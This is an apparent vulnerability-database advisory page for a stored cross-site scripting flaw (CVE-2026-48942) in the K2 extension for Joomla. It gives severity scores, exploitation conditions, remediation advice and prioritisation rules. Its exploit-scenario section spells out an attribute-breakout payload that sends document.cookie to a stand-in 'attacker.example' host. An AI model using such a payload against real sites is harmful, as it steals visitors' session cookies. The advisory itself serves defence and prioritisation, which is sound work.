Skip to main content

K2 Extension CVE-2026-48942

| EUVDEUVD-2026-39439 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-06-25 Joomla GHSA-5hmf-7m33-2v23
6.1
CVSS 3.1 · Vendor: Joomla
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Write payload to K2 user image field
  2. Delivery
    Payload persists in #__k2_users database
  3. Exploit
    Victim navigates to K2 profile template page
  4. Execution
    Unescaped src attribute rendered by browser
  5. Persist
    onerror or attribute-escape handler fires
  6. Impact
    Victim session token exfiltrated to attacker

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The vulnerability fires when a victim's browser loads any page that renders a K2 user profile through one of the two affected templates, making UI:R a hard prerequisite - unauthenticated mass scanning cannot trigger the XSS without a human victim loading the page. The pivotal open condition is write access to the #__k2_users.image column: if K2's public-facing registration or profile-edit feature allows unauthenticated or self-registered users to supply an arbitrary image URL or path, exploitation is accessible without any CMS credentials, consistent with the PR:N CVSS designation; if the field is writable only by site administrators, the realistic attacker population shrinks to credentialed insiders or already-compromised admin accounts. Exploitation is further bounded to Joomla sites running K2 versions 1.0 through 2.26 with at least one K2 user profile page publicly reachable or accessible to authenticated victims. Non-K2 Joomla installations and K2 deployments that disable user profile rendering are not affected.

Impact

The CVSS 3.1 vector AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N yields a medium-severity score of 6.1 and describes a low-friction, network-accessible XSS with scope change to the browser context. However, real-world priority signals are consistently low: EPSS is 0.15% (4th percentile), SSVC rates exploitation as none and automatable as no with only partial technical impact, and the vulnerability is absent from CISA KEV. The UI:R requirement prevents fully automated mass exploitation, as a human victim must navigate to a K2 profile page. The most important unresolved signal is the PR:N designation - if an unauthenticated or self-registration path allows arbitrary values to be written to the k2_users.image column, the attack is accessible to anonymous actors; if only authenticated users or administrators can set that field, realistic risk drops below what the CVSS vector implies. This discrepancy is not resolved by available data and should be verified against K2's user registration and profile-edit workflows before downgrading or upgrading priority.

Exploit ScenarioDerived

An attacker supplies a crafted payload such as x" onerror="fetch('https://attacker.example/c?d='+document.cookie) as their K2 user profile image value, either during registration or via a profile-edit request. When any other site visitor - including a Joomla administrator - loads a page that renders that K2 user record through one of the two vulnerable templates, the browser parses the unescaped attribute, fires the onerror handler, and transmits the victim's session cookie to the attacker's server. No public proof-of-concept code has been identified at time of analysis.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 22, 2026

Cross-site scripting in K2 Extension for Joomla (versions 1.0 through 2.26) exposes any site rendering K2 user profiles to JavaScript injection, because the #__k2_users.image database column is interpolated verbatim into HTML src attributes in two separate templates without HTML entity encoding. The CVSS 3.1 score of 6.1 reflects a scope-changed, network-reachable XSS with low attack complexity, though SSVC rates current exploitation as none and EPSS places it in the 4th percentile, indicating no observed mass exploitation at time of analysis. No public exploit code has been identified and the vulnerability is not listed in CISA KEV.

RemediationAI

No vendor-released patched version has been confirmed at time of analysis; the only reference provided points to the K2 homepage (https://www.getk2.org/) without naming a fixed release. Site operators should monitor the K2 changelog and upgrade as soon as a version beyond 2.26 addressing CWE-79 is published. As a compensating control, administrators should disable K2 user profile image upload and editing functionality in the K2 component configuration if the feature is not operationally required, which removes the injection vector while preserving read-only content display. A WAF rule that strips or encodes HTML metacharacters from requests targeting K2 user profile endpoints can also reduce exposure, though overly broad rules risk breaking legitimate image URL inputs. Additionally, deploying a Content Security Policy header with a restrictive script-src directive limits the blast radius of any XSS that does execute, preventing exfiltration to attacker-controlled domains.

Affected VersionsENISA

K2 extension for Joomla 1.0-2.26

Affected Packages

euvd k2_extension_for_joomla no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

K2 Extension (CPE: cpe:2.3:a:getk2.com:k2_extension_for_joomla) is a content and user management component that extends the Joomla CMS with enhanced article, category, and user profile capabilities. The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically an unsanitized database value passed directly into an HTML attribute context. Two distinct frontend templates retrieve the image column from the #__k2_users table and write it into src attributes without applying htmlspecialchars or equivalent escaping. An attacker-controlled string such as x" onerror="malicious() breaks out of the attribute value context, turning a passive data field into an active script execution point in any victim's browser. The dual-template nature of the flaw means the attack surface exists in at least two page views, not just one.

Know when K2 Extension For Joomla gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (Joomla) PRIMARY 6.1 MEDIUM
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
vuln.today AI 6.1 MEDIUM

Network-delivered stored XSS with browser scope change; PR:N retained pending confirmation of unauthenticated write path to the image column.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (Joomla).

CVSS VectorVendor: Joomla

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

K2 ≤ 2.26 renders the #__k2_users.image column directly into HTML src attributes via two distinct templates, in both cases without HTML escaping.

Threat Intelligence Overview

EPSS Score
0.1%
Top 96% exploitable
Prevalence
Medium
popular Joomla content component, footprint limited to Joomla deployments
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.1%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +30
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy